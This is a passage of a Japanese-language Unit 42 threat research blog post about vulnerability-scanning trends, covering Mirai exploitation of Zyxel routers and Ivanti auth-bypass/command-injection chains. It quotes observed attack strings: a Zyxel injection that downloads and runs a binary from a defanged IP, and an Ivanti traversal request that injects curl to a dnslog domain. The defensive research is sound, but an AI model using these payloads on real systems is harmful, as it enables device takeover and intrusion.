\u30b5\u30a4\u30c8\u306b\u3060\u3051\u5f53\u306f\u307e\u308b\u8907\u6570\u306e CVE \u3092\u4f7f\u3063\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8a66\u884c\u3059\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u304f\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u307e\u305f\u3079\u3064\u306e\u653b\u6483\u8005\u306f\u3001\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u62e1\u5927\u306a\u3069\u306e\u3055\u307e\u3056\u307e\u306a\u76ee\u7684\u3067\u3001\u3067\u304d\u308b\u3060\u3051\u591a\u304f\u306e Web \u30b5\u30a4\u30c8\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8a66\u884c\u3057\u307e\u3059\u3002\u305d\u3046\u3057\u305f\u30b1\u30fc\u30b9\u3067\u306f\u3001\u653b\u6483\u8005\u306f\u5bfe\u8c61\u7bc4\u56f2\u3092\u3055\u307e\u3056\u307e\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u5e83\u3052\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3053\u3053\u3067\u306f\u3001\u5148\u306b\u8aac\u660e\u3057\u305f\u8105\u5a01\u30e2\u30c7\u30eb\u306b\u9069\u5408\u3059\u308b\u5206\u6790\u304b\u3089\u5f97\u305f\u3001\u3053\u306e\u632f\u308b\u821e\u3044\u306e\u30b1\u30fc\u30b9 \u30b9\u30bf\u30c7\u30a3\u3092\u8ad6\u3058\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-133302-_wlqtgmq0g7y\"><\/a><strong>\u62e1\u6563\u30c4\u30fc\u30eb\u30bb\u30c3\u30c8\u3092\u62e1\u5145\u3057\u3064\u3065\u3051\u308b Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8<\/strong><\/h2>\n<p>\u79c1\u305f\u3061\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u306b\u306f\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/mirai-variant-iz1h9\/\" target=\"_blank\" rel=\"noopener\">\u3042\u308b Mirai \u4e9c\u7a2e\u306b\u3064\u3044\u3066\u79c1\u305f\u3061\u304c 2023 \u5e74\u306b\u5831\u544a\u3057\u305f <\/a>\u3001Zyxel \u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u304c\u53cd\u6620\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3001\u7279\u5b9a\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Zyxel \u30eb\u30fc\u30bf\u30fc\u306e <span style=\"font-family: 'courier new', courier, monospace;\">\/bin\/zhttpd\/<\/span> \u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u304a\u3051\u308b\u4e0d\u5341\u5206\u306a\u5165\u529b\u691c\u8a3c\u306e\u8106\u5f31\u6027\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u81ea\u5df1\u8907\u88fd\u3092\u958b\u59cb\u3057\u3001Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3092\u3055\u3089\u306b\u62e1\u6563\u3055\u305b\u307e\u3059\u3002<\/p>\n<p>2023 \u5e74 6 \u6708 19 \u65e5\u306b\u79c1\u305f\u3061\u306f\u3001\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u30e6\u30cb\u30fc\u30af\u306a\u5b9b\u5148\u6570\u306e\u7570\u5e38\u306a\u6025\u5897\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u306a\u304b\u3067\u306f\u3001\u5c11\u306a\u304f\u3068\u3082 2,247 \u53f0\u306e\u30c7\u30d0\u30a4\u30b9\u304c\u300115,812 \u4ef6\u306e\u5b9b\u5148\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8 \u30b5\u30fc\u30d3\u30b9 \u30d7\u30ed\u30d0\u30a4\u30c0\u30fc (ISP) \u306b\u5bfe\u3059\u308b\u5206\u6563\u578b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u306b\u95a2\u4e0e\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u56f3 3 \u306f\u3001\u540c\u8106\u5f31\u6027\u306b\u304b\u3089\u307f\u300123 \u65e5\u9593\u306b\u308f\u305f\u3063\u3066\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u3001\u4ee5\u4e0b\u306e URL \u30d1\u30bf\u30fc\u30f3\u3092\u3082\u3064\u4e00\u610f\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u6570\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">bin\/zhttpd\/${ifs}cd${ifs}\/tmp;${ifs}rm${ifs}-rf${ifs}*;${ifs}wget${ifs}hxxp:\/\/103.110.33[.]164\/mips;${ifs}chmod${ifs}777${ifs}mips;${ifs}.\/mips${ifs}zyxel.selfrep;.<\/span><\/p>\n<p>\u306a\u304a\u4e0a\u8a18\u30d1\u30bf\u30fc\u30f3\u5185\u306e <span style=\"font-family: 'courier new', courier, monospace;\">103.110.33[.]164<\/span> \u3068\u3044\u3046\u306e\u306f\u3072\u3068\u3064\u306e\u4f8b\u306b\u3059\u304e\u307e\u305b\u3093\u3002\u3053\u306e URL \u30d1\u30bf\u30fc\u30f3\u306f\u5358\u4e00\u306e IP \u30a2\u30c9\u30ec\u30b9\u306b\u9650\u3089\u308c\u308b\u3082\u306e\u3067\u306f\u306a\u304f\u3001\u79c1\u305f\u3061\u306f\u307b\u304b\u306b\u3082\u8907\u6570\u306e\u3082\u306e\u3092\u4e0b\u306e\u56f3 3 \u306b\u793a\u3057\u305f\u7d50\u679c\u306e\u306a\u304b\u3067\u767a\u898b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_133291\" aria-describedby=\"caption-attachment-133291\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-133291 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/04\/word-image-982431-133284-3.png\" alt=\"\u753b\u50cf 3 \u306f\u3001Zyxel \u306e\u8106\u5f31\u6027\u306b\u304b\u3089\u3093\u3067\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u4e00\u610f\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u6570\u3092\u793a\u3057\u305f\u68d2\u30b0\u30e9\u30d5\u3067\u3059\u3002\u3053\u306e\u30b0\u30e9\u30d5\u306f 2023 \u5e74 6 \u6708 9 \u65e5\u306b\u59cb\u307e\u308a\u30012023 \u5e74 7 \u6708 1 \u65e5\u306b\u7d42\u308f\u3063\u3066\u3044\u307e\u3059\u3002\u5927\u591a\u6570\u306e\u65e5\u306f\u5e73\u5747\u7d04 1500 \u4ef6\u3092\u8a18\u9332\u3057\u3066\u3044\u307e\u3059\u30022 \u3064\u5927\u304d\u306a\u30d4\u30fc\u30af\u304c\u3042\u308a\u3001\u305d\u308c\u3089\u306f 2023 \u5e74 6 \u6708 19 \u65e5\u3068 2023 \u5e74 6 \u6708 20 \u65e5\u306e\u3082\u306e\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u65e5\u4ed8\u306b\u3064\u3044\u3066\u306f\u300115,812 \u4ef6\u300113,409 \u4ef6\u3092\u305d\u308c\u305e\u308c\u8a18\u9332\u3057\u3066\u3044\u307e\u3059\u3002 \" width=\"900\" height=\"336\" \/><figcaption id=\"caption-attachment-133291\" class=\"wp-caption-text\">\u56f3 3. Zyxel \u306e\u8106\u5f31\u6027\u306b\u304b\u3089\u3080\u30b9\u30ad\u30e3\u30f3\u306e\u4e00\u610f\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u6570 (\u65e5\u4ed8\u5225)<\/figcaption><\/figure>\n<p>Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u9032\u5316\u3057\u7d9a\u3051\u3066\u304a\u308a\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u305f\u3081\u306b\u3001\u5e38\u306b\u65b0\u305f\u306a\u8106\u5f31\u6027\u3092\u305d\u306e\u30ec\u30d1\u30fc\u30c8\u30ea\u30fc\u306b\u7d44\u307f\u8fbc\u307f\u7d9a\u3051\u3066\u3044\u307e\u3059(<a href=\"https:\/\/unit42.paloaltonetworks.jp\/mirai-variant-v3g4\/\" target=\"_blank\" rel=\"noopener\">[1]<\/a><a href=\"https:\/\/unit42.paloaltonetworks.jp\/mirai-variant-iz1h9\/\" target=\"_blank\" rel=\"noopener\">[2]<\/a><a href=\"https:\/\/unit42.paloaltonetworks.jp\/mirai-variant-targets-iot-exploits\/\" target=\"_blank\" rel=\"noopener\">[3]<\/a>)\u3002\u65b0\u305f\u306a\u8106\u5f31\u6027\u304c\u767a\u8868\u3055\u308c\u308b\u3068\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u305d\u308c\u3089\u306e\u8106\u5f31\u6027\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3059\u308b\u65b0\u305f\u306a Mirai \u4e9c\u7a2e\u3092\u958b\u767a\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30b5\u30a4\u30af\u30eb\u306b\u5148\u3093\u3058\u308b\u305f\u3081\u306e\u6700\u3082\u91cd\u8981\u306a\u9632\u5fa1\u7b56\u306f\u3001\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u3001\u691c\u51fa\u30b7\u30b9\u30c6\u30e0\u3092\u66f4\u65b0\u3057\u3066\u3001\u65b0\u3057\u3044 Mirai \u306e\u4e9c\u7a2e\u3092\u8b58\u5225\u30fb\u30d6\u30ed\u30c3\u30af\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u65b0\u305f\u306a\u8106\u5f31\u6027\u304c\u7d76\u3048\u305a\u767a\u8868\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u8003\u3048\u308b\u3068\u3001\u3053\u308c\u3089\u306e\u691c\u51fa\u30fb\u66f4\u65b0\u3092\u8fc5\u901f\u306b\u5b9f\u884c\u3059\u308b\u3053\u3068\u306f\u3068\u304f\u306b\u56f0\u96e3\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u8907\u6570\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306b\u307e\u305f\u304c\u308b\u30b9\u30ad\u30e3\u30f3 \u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u76e3\u8996\u3059\u308b\u3053\u3068\u3067\u3001\u65b0\u305f\u306a\u30b9\u30ad\u30e3\u30f3 \u30d1\u30bf\u30fc\u30f3\u3092\u3088\u308a\u8fc5\u901f\u306b\u691c\u51fa\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-133302-_mhn18ymcxmm9\"><\/a><strong>Ivanti \u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u306f\u958b\u793a\u5f8c\u306e 1 \u9031\u9593\u306b\u6025\u5897 <\/strong><\/h2>\n<p>\u79c1\u305f\u3061\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-ivanti-cve-2023-46805-cve-2024-21887\/\">\u6700\u8fd1\u516c\u958b\u3055\u308c\u305f\u4ee5\u4e0b\u306e Ivanti \u88fd\u54c1\u306e\u8106\u5f31\u6027<\/a>\u3092\u691c\u51fa\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>CVE-2023-46805 (\u6df1\u523b\u5ea6\u300c\u9ad8\u300d\u306e\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027)<\/li>\n<li>CVE-2024-21887 (\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306e\u30b3\u30de\u30f3\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027)<\/li>\n<li>CVE-2024-21893 (\u6df1\u523b\u5ea6\u300c\u9ad8\u300d\u306e\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9 \u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\u30fc\u306e\u8106\u5f31\u6027)<\/li>\n<\/ul>\n<p>\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306e\u8a73\u7d30\u306f Unit 42 \u306b\u3088\u308b <a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-ivanti-cve-2023-46805-cve-2024-21887\/\" target=\"_blank\" rel=\"noopener\">Ivanti \u306b\u95a2\u3059\u308b\u8105\u5a01\u306e\u6982\u8981<\/a>\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u56f3 4 \u306f\u30012024 \u5e74 1 \u6708 14 \u65e5\u304b\u3089\u89b3\u6e2c\u3055\u308c\u305f\u3001\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u4e00\u610f\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u6570\u306e\u6025\u5897\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u306a\u304b\u3067\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3089\u306f\u3001Ivanti \u88fd\u54c1\u306e\u8106\u5f31\u6027\u306e\u30b9\u30ad\u30e3\u30f3\u3068\u60aa\u7528\u306b\u3055\u307e\u3056\u307e\u306a URL \u30d1\u30b9\u3092\u4f7f\u3063\u3066\u3044\u307e\u3057\u305f\u30021 \u6708 14 \u65e5\u306b\u306f\u3001\u5c11\u306a\u304f\u3068\u3082 15,645 \u53f0\u306e\u611f\u67d3\u30db\u30b9\u30c8\u306b\u3088\u3063\u3066\u300125,289 \u53f0\u306e\u4e00\u610f\u306a\u30db\u30b9\u30c8\u304c\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u6700\u521d\u306e\u6025\u5897\u304b\u3089\u308f\u305a\u304b 4 \u65e5\u5f8c\u306e 2024 \u5e74 1 \u6708 18 \u65e5\u306b\u306f\u3001\u3053\u308c\u3089\u306e\u6570\u5b57\u304c\u8df3\u306d\u4e0a\u304c\u3063\u3066\u304a\u308a\u3001\u5c11\u306a\u304f\u3068\u3082 39,658 \u53f0\u306e\u611f\u67d3\u30db\u30b9\u30c8\u306b\u3088\u3063\u3066\u300184,824 \u53f0\u306e\u4e00\u610f\u306a\u30db\u30b9\u30c8\u304c\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u3066\u3044\u308b\u3088\u3046\u3059\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_133293\" aria-describedby=\"caption-attachment-133293\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-133293 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/04\/word-image-985249-133284-4.png\" alt=\"\u753b\u50cf 4 \u306f\u3001Ivanti \u306e\u8106\u5f31\u6027\u306b\u304b\u3089\u3093\u3067\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u4e00\u610f\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u6570\u3092\u793a\u3057\u305f\u68d2\u30b0\u30e9\u30d5\u3067\u3059\u3002\u3053\u306e\u30b0\u30e9\u30d5\u306f 2024 \u5e74 1 \u6708 7 \u65e5\u306b\u59cb\u307e\u308a\u30012024 \u5e74 1 \u6708 21 \u65e5\u306b\u7d42\u308f\u3063\u3066\u3044\u307e\u3059\u3002\u4ef6\u6570\u306f 2024 \u5e74 1 \u6708 14 \u65e5\u304b\u3089\u5897\u52a0\u3057\u30012024 \u5e74 1 \u6708 18 \u65e5\u306b\u306f 84,824 \u4ef6\u3067\u30d4\u30fc\u30af\u306b\u9054\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u4ef6\u6570\u306f 6,633 \u306b\u6025\u6e1b\u3057\u3001\u5148\u7d30\u308a\u306b\u306a\u308a\u307e\u3059\u3002\" width=\"900\" height=\"555\" \/><figcaption id=\"caption-attachment-133293\" class=\"wp-caption-text\">\u56f3 4. Ivanti \u306e\u8106\u5f31\u6027\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3057\u3066\u30b9\u30ad\u30e3\u30f3\u3055\u308c\u305f\u4e00\u610f\u306a\u30db\u30b9\u30c8\u6570 (\u65e5\u4ed8\u5225)<\/figcaption><\/figure>\n<p>1 \u6708 19 \u65e5\u306b\u3001\u5c11\u306a\u304f\u3068\u3082 32 \u53f0\u306e\u611f\u67d3\u30db\u30b9\u30c8\u304b\u3089\u300137 \u53f0\u306e\u4e00\u610f\u306a\u88ab\u5bb3\u30db\u30b9\u30c8\u306b\u5bfe\u3057\u3001\u6b21\u306e URL \u30d1\u30b9\u3092\u3082\u3064\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">api\/v1\/totp\/license\/keys-status\/;curl a0f0b2e6[.]dnslog[.]store<\/span><\/li>\n<\/ul>\n<p>\u3053\u308c\u306f\u8106\u5f31\u6027\u3092\u3064\u306a\u304e\u5408\u308f\u305b\u3066\u4f7f\u3046\u300c\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u300d\u3067\u3001\u3053\u3053\u3067\u306f\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c CVE-2023-46805 \u3068 CVE-2024-21887 \u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u5834\u5408\u3001<span style=\"font-family: 'courier new', courier, monospace;\">\/license\/keys-status<\/span> \u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306f\u8a8d\u8a3c\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u306b\u306f\u30b3\u30de\u30f3\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u8a8d\u8a3c\u56de\u907f\u306e\u305f\u3081\u306b\u3001\u653b\u6483\u8005\u306f\u30d1\u30b9 \u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3092\u5229\u7528\u3057\u3001\u6b21\u306e HTTP GET \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\/api\/v1\/totp\/user-backup-code\/..\/..\/license\/keys-status;&lt;attacker_cmd&gt;<\/span><\/li>\n<\/ul>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">\/api\/v1\/totp\/user-backup-code<\/span> \u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306f URL \u306e\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9 \u30c1\u30a7\u30c3\u30af\u3057\u304b\u5b9f\u884c\u3057\u307e\u305b\u3093\u3002\u3053\u306e\u305f\u3081\u3001\u3053\u306e GET \u30ea\u30af\u30a8\u30b9\u30c8\u306f\u8a8d\u8a3c\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u3066\u30b3\u30de\u30f3\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u540c\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p>\u79c1\u305f\u3061\u304c\u89b3\u6e2c\u3057\u305f\u4f8b\u3067\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3053\u306e\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3092\u5b9f\u884c\u3057\u3066 <span style=\"font-family: 'courier new', courier, monospace;\">a0f0b2e6[.]dnslog[.]store<\/span> \u306b\u63a5\u7d9a\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u3063\u3066\u8106\u5f31\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u306e IP \u30a2\u30c9\u30ec\u30b9\u3092\u53ce\u96c6\u3057\u3001\u3055\u3089\u306a\u308b\u653b\u6483\u3092\u5b9f\u884c\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-133302-_rf6iwgarx0a4\"><\/a><strong>\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u306e\u30ab\u30c6\u30b4\u30ea\u30fc<\/strong><\/h2>\n<p>\u30eb\u30fc\u30bf\u30fc\u3001Web \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\/\u30c6\u30b9\u30c8 \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3084\u30ab\u30ec\u30f3\u30c0\u30fc\u306a\u3069\u306e\u30b3\u30e9\u30dc\u30ec\u30fc\u30b7\u30e7\u30f3 \u30c4\u30fc\u30eb\u306e\u8106\u5f31\u6027\u306f\u3001\u305d\u306e\u5229\u7528\u6570\u306e\u591a\u3055\u304b\u3089\u653b\u6483\u8005\u306e\u4eba\u6c17\u3092\u96c6\u3081\u3066\u3044\u307e\u3059\u3002\u56f3 5 \u306f\u3001\u79c1\u305f\u3061\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u306b\u57fa\u3065\u3044\u3066\u3001\u653b\u6483\u8005\u306b\u6700\u3082\u72d9\u308f\u308c\u3084\u3059\u3044\u6280\u8853\u30b9\u30bf\u30c3\u30af\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_133295\" aria-describedby=\"caption-attachment-133295\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-133296 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/04\/word-image-988036-133284-5-1.png\" alt=\"\u753b\u50cf 5 \u306f\u3001\u6700\u3082\u72d9\u308f\u308c\u308b\u6280\u8853\u30b9\u30bf\u30c3\u30af\u306e\u30ab\u30c6\u30b4\u30ea\u30fc\u3092\u793a\u3057\u305f\u5186\u30b0\u30e9\u30d5\u3067\u3059\u3002\u30b3\u30e9\u30dc\u30ec\u30fc\u30b7\u30e7\u30f3\u3001Web \u958b\u767a\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3001\u30eb\u30fc\u30bf\u30fc\u306f\u3001\u305d\u308c\u305e\u308c 32.1%\u300131.6%\u300135.2% \u3068\u307b\u307c\u5747\u7b49\u306b\u5206\u304b\u308c\u3066\u3044\u307e\u3059\u3002\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0 \u30b7\u30b9\u30c6\u30e0\u306f 1% \u3067\u3057\u305f\u3002\" width=\"600\" height=\"371\" \/><figcaption id=\"caption-attachment-133295\" class=\"wp-caption-text\">\u56f3 5. \u653b\u6483\u8005\u306b\u72d9\u308f\u308c\u3084\u3059\u3044\u6280\u8853\u30b9\u30bf\u30c3\u30af<\/figcaption><\/figure>\n<p>\u3068\u304f\u306b\u30eb\u30fc\u30bf\u30fc\u306e\u653b\u6483\u306f\u653b\u6483\u8005\u3089\u306b\u975e\u5e38\u306b\u4eba\u6c17\u304c\u3042\u308a\u307e\u3059\u3002\u6700\u8fd1\u306e\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u3060\u3068\u3001<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/russian-hackers-hijack-ubiquiti-routers-to-launch-stealthy-attacks\/\" target=\"_blank\" rel=\"noopener\">\u30ed\u30b7\u30a2\u306e\u30cf\u30c3\u30ab\u30fc\u304c Ubiquiti EdgeRouters \u306e\u4e57\u3063\u53d6\u308a\u3092\u8a66\u307f\u305f<\/a>\u4ef6\u3084\u3001<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/fbi-disrupts-chinese-botnet-by-wiping-malware-from-infected-routers\/\" target=\"_blank\" rel=\"noopener\">\u4e2d\u56fd\u306e SOHO \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u304c Cisco \u3068NetGear \u306e\u30eb\u30fc\u30bf\u30fc\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u305f<\/a>\u4ef6\u304c\u3042\u308a\u307e\u3059\u3002\u5f0a\u793e\u306e\u30c7\u30fc\u30bf\u306f\u3001\u8106\u5f31\u6027\u306e\u30b9\u30ad\u30e3\u30f3\u306f\u3053\u308c\u3089\u7279\u5b9a\u30d6\u30e9\u30f3\u30c9\u306e\u30eb\u30fc\u30bf\u30fc\u306b\u9650\u3063\u305f\u3082\u306e\u3067\u306f\u306a\u3044\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-133302-_3e09a4ltxxh\"><\/a><strong>\u7d50\u8ad6<\/strong><\/h2>\n<p>\u5f0a\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u30fc\u306f\u3001\u79c1\u305f\u3061\u304c 2023 \u5e74\u306b\u691c\u51fa\u3057\u305f\u30b9\u30ad\u30e3\u30f3\u653b\u6483\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u30b9\u30ad\u30e3\u30f3\u304c\u76f8\u5f53\u6570\u542b\u307e\u308c\u3066\u3044\u305f\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u99c6\u52d5\u578b\u306e\u30b9\u30ad\u30e3\u30f3\u306f\u3001\u5f93\u6765\u898b\u3089\u308c\u305f\u653b\u6483\u8005\u306b\u3088\u308b\u3088\u308a\u76f4\u63a5\u7684\u306a\u30b9\u30ad\u30e3\u30f3 \u30a2\u30d7\u30ed\u30fc\u30c1\u3068\u6bd4\u3079\u308b\u3068\u3042\u307e\u308a\u76f4\u63a5\u7684\u3067\u306a\u3044\u30b9\u30ad\u30e3\u30f3\u5f62\u5f0f\u3067\u3059\u3002<\/p>\n<p>\u5f0a\u793e\u306e\u30c7\u30fc\u30bf\u306f\u30012023 \u5e74\u306b\u51fa\u73fe\u3057\u305f\u3055\u307e\u3056\u307e\u306a\u8106\u5f31\u6027\u95a2\u9023\u306e\u30b9\u30ad\u30e3\u30f3\u3067\u898b\u3089\u308c\u305f\u3001\u3053\u308c\u4ee5\u5916\u306e\u50be\u5411\u3082\u660e\u3089\u304b\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u8abf\u67fb\u7d50\u679c\u304c\u6307\u3057\u793a\u3059\u306e\u306f\u300c\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3055\u308c\u3084\u3059\u3044\u8106\u5f31\u6027\u306f\u3001\u5e83\u7bc4\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u8106\u5f31\u6027\u300d\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u3053\u306e\u30c7\u30fc\u30bf\u306f\u30b9\u30ad\u30e3\u30f3\u306b\u5bfe\u3059\u308b\u7a4d\u6975\u7684\u76e3\u8996\u3068\u9632\u5fa1\u30e1\u30ab\u30cb\u30ba\u30e0\u306e\u91cd\u8981\u6027\u3092\u5f37\u8abf\u3059\u308b\u3082\u306e\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u3055\u307e\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-url-filtering\" rel=\"noopener\">Advanced URL (AURL) Filtering<\/a>\u3001<a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-threat-prevention\" target=\"_blank\" rel=\"noopener\">Advanced Threat Prevention<\/a>\u3001<a 